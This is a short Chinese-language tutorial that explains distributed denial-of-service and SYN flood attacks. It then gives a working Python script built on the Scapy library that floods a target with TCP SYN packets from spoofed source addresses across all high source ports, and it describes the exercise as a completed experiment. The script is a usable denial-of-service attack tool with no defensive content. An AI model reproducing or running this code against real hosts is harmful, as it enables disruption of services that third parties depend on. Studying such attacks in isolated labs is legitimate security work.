分布式拒绝服务攻击
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行.
攻击性质
什么是SYN泛洪攻击
首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。
Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:
sudo pip3 install scapy-python3==0.18
构造一个简单的数据包
pkt = IP(dst="192.168.0.100")
构建数据包并发送
代码实现
现在我们要用Python以第三方库的形式使用Scapy
,使用方法和用交互式Shell的方式一样,注意:使用前要先导Scapy的包:
from scapy.all import
之前我们已经构造过了SYN
数据包,现在我们需要实现随机伪造源IP地址、以及以不同的源端口向目标主机发送SYN
数据包:
import random from scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet)
在代码中我定义了srcList
用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport
,循环中改变的端口号就是给了sport
这个参数。我们还调用random.randrange()
函数来随机从srcList
中获取一个伪造的IP地址。
至此我们本次实验就完成了,虽然代码非常少不过功能我们却实现的比较理想,这主要是因为Python的语法本身非常简洁,再加上Scapy
封装的也非常好,才会让我们写出即简洁功能又强大的代码。
DDoS攻击
类似上面这个syn洪流,只是DDoS采用的是多个客户端在服务器的命令下,一起像一个网站攻击.